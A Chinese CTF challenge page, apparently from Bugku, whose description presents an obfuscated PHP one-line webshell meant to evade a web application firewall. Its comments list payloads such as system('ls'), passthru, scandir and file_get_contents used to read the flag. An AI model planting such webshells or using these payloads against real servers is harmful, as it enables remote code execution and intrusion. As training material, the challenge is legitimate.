shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 8347
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
zmcck 3年前
举报

assert(s) ?s=system("ls") ?s=system("cat flag***.txt")

回复 0
17695688750 3年前
举报

命令执行漏洞，我以为s和url间隔要用/隔开，没想到要用？隔开，淦

回复 0
XD6 3年前
举报

有点蠢

回复 0
bright0flavor 3年前
举报

①var_dump(scandir('./')) ②var_dump(file_get_contents('flaga15808abee46a1d5.txt'))

回复 1
笨笨笨蛋 3年前
举报

构造system函数

回复 0
灵梦归希 3年前
举报

过狗参数：passthru('cat%20flaga15808abee46a1d5.txt')

回复 0
lysandria 3年前
举报

现在只能用这个s=print_r(scandir('./'))，其他system等都不能用了，写php代码也不行。

回复 1
yemur 3年前
举报

system()能用，我就是用system解决的

回复 0
huluk 3年前
举报

网页打不开

回复 2
猪老三 4年前
举报

rnm,退钱！

回复 2
小菜椒 4年前
举报

这...一个system('ls')就出来了?

回复 2

WriteUp

image
harry

3 金币

立即查看

评分(10)

解题动态

warm007 攻破了该题 2小时前
R1 攻破了该题 6小时前
a591961189 攻破了该题 8小时前
阿杰学网安 攻破了该题 9小时前
yxm8085 攻破了该题 10小时前
xtelnet 攻破了该题 14小时前
dcd 攻破了该题 15小时前
bbbuild 攻破了该题 1天前
yy147369 攻破了该题 1天前
yiyiyiyi1 攻破了该题 1天前
搁浅的小鱼 攻破了该题 1天前
aaggyy1 攻破了该题 1天前
18737958336 攻破了该题 1天前
yehlg 攻破了该题 1天前
zzasas 攻破了该题 1天前
mybugku26 攻破了该题 1天前
sfwy 攻破了该题 1天前
天青色等烟雨 攻破了该题 1天前
沐恩 攻破了该题 1天前
a637814143 攻破了该题 2天前
问题反馈